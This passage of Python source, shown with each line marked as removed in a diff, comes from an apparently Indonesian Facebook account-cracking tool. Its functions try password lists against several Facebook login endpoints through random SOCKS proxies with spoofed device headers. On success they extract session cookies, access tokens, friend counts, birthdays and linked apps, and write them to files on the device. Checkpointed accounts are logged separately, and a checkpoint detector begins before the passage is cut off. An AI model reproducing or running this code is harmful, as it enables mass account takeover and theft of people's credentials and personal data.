- 'referer': 'https://web.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Foidc%2F%3Fapp_id%3D322935469656730%26redirect_uri%3Dhttps%253A%252F%252Fauth.meta.com%252Foidc%252Ffacebook%252Fresponse%252F%26response_type%3Dcode%26scope%3Dopenid%2Blinking%26state%3DATDdIzgSBz9-0qbCMmXEOhRZRqMVnOUQWEoqAWXHJMNR81SpqeyX_WmNClpUF3vjR8zPczvIkLRz6LXtszK9S2STD-Z6AwM4AJj8ep_enYcWdOKcfVXvtlR07dmUe8he94eJlN5D6CSzq9tVgKdaDK_chZaAdFU_xgInMVDOysHx_wNvZM21wPkrlgECyITAtQlVloRVPjj0x0xsVZjMggCo7-ksIf-wFTcVL2OnURBQpIyFokXtafzpmdiwxmUcbU-qa-R4InV05fuCBnFZxzQmDanQhc0V11C8A13ZiGLWCtT9c7RCDovRgCHfuVXZ50iFXJ2nZT4sdbA&_rdc=1&_rdr',
- 'accept-encoding': 'gzip, deflate',
- 'accept-language': 'en-US,id-ID,id;q=0.9',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- })
- self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecWeb(username, password)
- except (Exception) as e: pass
- for passe in self.password:
- try:
- self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10],passe)})
- self.response = byps.post('https://web.facebook.com/login/device-based/regular/login/?login_attempt=1&next=https%3A%2F%2Fwww.facebook.com%2Foidc%2F%3Fapp_id%3D322935469656730%26redirect_uri%3Dhttps%253A%252F%252Fauth.meta.com%252Foidc%252Ffacebook%252Fresponse%252F%26response_type%3Dcode%26scope%3Dopenid%2Blinking%26state%3DATDdIzgSBz9-0qbCMmXEOhRZRqMVnOUQWEoqAWXHJMNR81SpqeyX_WmNClpUF3vjR8zPczvIkLRz6LXtszK9S2STD-Z6AwM4AJj8ep_enYcWdOKcfVXvtlR07dmUe8he94eJlN5D6CSzq9tVgKdaDK_chZaAdFU_xgInMVDOysHx_wNvZM21wPkrlgECyITAtQlVloRVPjj0x0xsVZjMggCo7-ksIf-wFTcVL2OnURBQpIyFokXtafzpmdiwxmUcbU-qa-R4InV05fuCBnFZxzQmDanQhc0V11C8A13ZiGLWCtT9c7RCDovRgCHfuVXZ50iFXJ2nZT4sdbA&lwv=100', data = self.payload, allow_redirects=True)
- if 'c_user' in byps.cookies.get_dict().keys():
- self.ok+=1
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in byps.cookies.get_dict().keys():
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecAsyinc(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = generate_agent()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- self.poge = byps.get('https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
- self.payload = {
- 'm_ts': re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1),
- 'li': re.search('name="li" value="(.*?)"', str(self.poge)).group(1),
- 'try_number': '0',
- 'unrecognized_tries': '0',
- 'prefill_contact_point': f'{username}',
- 'prefill_source': 'browser_dropdown',
- 'prefill_type': 'password',
- 'first_prefill_source': 'browser_dropdown',
- 'first_prefill_type': 'contact_point',
- 'had_cp_prefilled': 'true',
- 'had_password_prefilled': 'true',
- 'is_smart_lock': 'false',
- 'bi_xrwh': '0',
- 'bi_wvdp': '{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false,"iframeProto":"function get contentWindow() { [native code] }","remap":false,"iframeData":{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false}}',
- 'lsd': re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
- }
- byps.headers.update({
- 'host':'m.alpha.facebook.com',
- 'sec-ch-ua-mobile':'?0',
- 'sec-ch-ua-platform': '"Android"',
- 'origin':'https://m.alpha.facebook.com',
- 'upgrade-insecure-requests':'1',
- 'dpr':'2',
- 'content-type':'application/x-www-form-urlencoded',
- 'user-agent': ua_generate,
- 'accept':'*/*',
- 'sec-fetch-site':'same-origin',
- 'sec-fetch-mode':'cors',
- 'sec-fetch-user':'?1',
- 'sec-fetch-dest':'empty',
- 'referer': 'https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'accept-language':'en-US,id-ID,id;q=0.9',
- 'x-response-format':'JSONStream',
- 'accept-encoding': 'gzip, deflate',
- 'content-leght': str(len(self.payload)),
- 'viewport-width': '980',
- 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- })
- self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecReg(username, password)
- except (Exception) as e: pass
- for passe in self.password:
- try:
- self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10],passe)})
- self.response = byps.post('https://m.alpha.facebook.com/login/device-based/login/async/?api_key=665739203554918&auth_token=5ca13e518ab45548c08cecb0929feb1a&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&refsrc=deprecated&app_id=665739203554918&cancel=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&lwv=100&locale2=id_ID&refid=9', data = self.payload,allow_redirects=True)
- if 'c_user' in byps.cookies.get_dict().keys():
- self.ok+=1
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in byps.cookies.get_dict().keys():
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecGraph(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = generate_agent()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',"X-FB-Connection-Bandwidth": str(random.randint(20000000, 30000000)),"X-FB-Net-HNI": str(random.randint(900000, 999999)),"X-FB-SIM-HNI": str(random.randint(20000, 40000)),'X-FB-Friendly-Name':'authenticate','X-FB-Connection-Type':'unknown','User-Agent': generate_user_agent(),'Accept-Encoding':'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','X-FB-HTTP-Engine': 'Liger'})
- self.payload = {'adid': str(''.join(random.Random().choices(string.hexdigits, k=16))),'format':'json','device_id':str(uuid.uuid4()),
- "session_id": str(uuid.uuid4()),"advertiser_id": str(uuid.uuid4()),"reg_instance": str(uuid.uuid4()),"logged_out_id": str(uuid.uuid4()),"hash_id": str(uuid.uuid4()),"sim_country": "id","network_country": "id","enroll_misauth": "false",'generate_analytics_claims':'1','credentials_type':'password','source':'login','error_detail_type':'button_with_disabled','enroll_misauth':'false',"cpl": "true",'generate_session_cookies':'1',"machine_id": "".join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),'generate_machine_id':'1',
- 'meta_inf_fbmeta':'','currently_logged_in_userid':'0','fb_api_req_friendly_name':'authenticate',"fb_api_caller_class": "com.facebook.account.login.protocol.Fb4aAuthHandler"}
- break
- except requests.exceptions.ConnectionError: time.sleep(5); self.ExecGraph(username, password)
- except Exception as e: pass
- for passe in self.password:
- try:
- self.payload.update({'email': username,'password': passe})
- self.response = byps.post('https://b-graph.facebook.com/auth/login', data=self.payload, allow_redirects=False)
- if "session_key" in str(self.payload.text) and "access_token" in str(self.payload.text):
- self.ok+=1
- cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
- access_token = self.payload.json()['access_token']
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except Exception as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif "User must verify their account" in self.response.text:
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecApi(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = generate_agent()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({'content-type':'application/x-www-form-urlencoded','x-fb-sim-hni':str(random.randint(20000, 40000)),'x-fb-connection-type':'unknown','Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32','user-agent': ua_generate,'x-fb-net-hni':str(random.randint(20000, 40000)),'x-fb-connection-bandwidth':str(random.randint(10000, 90000)), 'x-fb-connection-quality':'EXCELLENT','x-fb-friendly-name':'authenticate','accept-encoding':'gzip, deflate','x-fb-http-engine':'Liger'})
- self.payload = {'adid': str(uuid.uuid4()),'cpl':'true','credentials_type':'device_based_login_password',"source": "device_based_login",'error_detail_type':'button_with_disabled','source':'login','format':'json','generate_session_cookies':'1','generate_analytics_claim':'1',"machine_id": "".join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),'generate_machine_id':'1',"locale":"en_US","client_country_code":"US",'device_id': str(uuid.uuid4()),"method": "auth.login","fb_api_req_friendly_name": "authenticate","fb_api_caller_class": "com.facebook.account.login.protocol.Fb4aAuthHandler"}
- break
- except requests.exceptions.ConnectionError: time.sleep(5); self.ExecApi(username, password)
- except Exception as e: pass
- for passe in self.password:
- try:
- self.payload.update({'email': username,'password': passe})
- self.response = byps.post('https://b-api.facebook.com/method/auth.login', data=self.payload, allow_redirects=False)
- if "session_key" in str(self.payload.text) and "access_token" in str(self.payload.text):
- self.ok+=1
- cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
- access_token = self.payload.json()['access_token']
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except Exception as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif "User must verify their account" in self.response.text:
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def DetedtorChekpoint(self, username, passwd):
- try:
- byps = requests.Session()
- soup = bs(byps.get("https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8").text,"html.parser")
- resp = soup.find("form",{"method":"post"})
- for x in soup("input"): data.update({x.get("name"):x.get("value")})
- data.update({"email":username,"pass":passwd})
- repo = byps.post("https://mbasic.facebook.com"+resp.get("action"),data=data)
- resp2 = bs(repo.text, "html.parser")
- if "Temukan Akun Anda" in re.findall("\<title>(.*?)<\/title>",str(repo.text)):pass
- if "c_user" in byps.cookies.get_dict():
- if "Akun Anda Dikunci" in repo.text:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
